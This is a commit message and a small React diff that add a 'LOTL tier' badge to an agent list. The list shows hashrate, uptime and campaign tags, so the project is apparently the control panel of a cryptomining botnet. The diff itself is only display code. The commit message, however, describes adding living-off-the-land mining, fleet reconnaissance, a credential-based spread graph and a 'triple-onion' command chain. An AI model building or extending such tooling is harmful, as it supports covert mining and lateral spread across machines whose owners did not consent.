Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
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@@ -1,5 +1,6 @@
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import AgentRemoteActions from './AgentRemoteActions';
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import { formatHashrate, formatUptime } from '../../help/fleetFilters';
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import { lotlTierLabel } from '../../help/warRoomTelemetry';
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import type { Agent } from '../../types';
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import type { SeqCommandResult } from '../../context/WebSocketContext';
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import type { FleetGroup } from '../../help/fleetGroups';
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@@ -95,6 +96,11 @@ export default function AgentListItem({
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c:{agent.campaign}
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</span>
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)}
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{lotlTierLabel(agent.lotl_tier) && (
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<span className="agent-tag-chip war-room-lotl-badge" title="LOTL tier">
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{lotlTierLabel(agent.lotl_tier)}
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</span>
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)}
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</div>
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<div style={{ display: 'flex', alignItems: 'center', gap: '0.4rem' }}>
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<span className={`status-badge ${agent.status}`}>{agent.status}</span>
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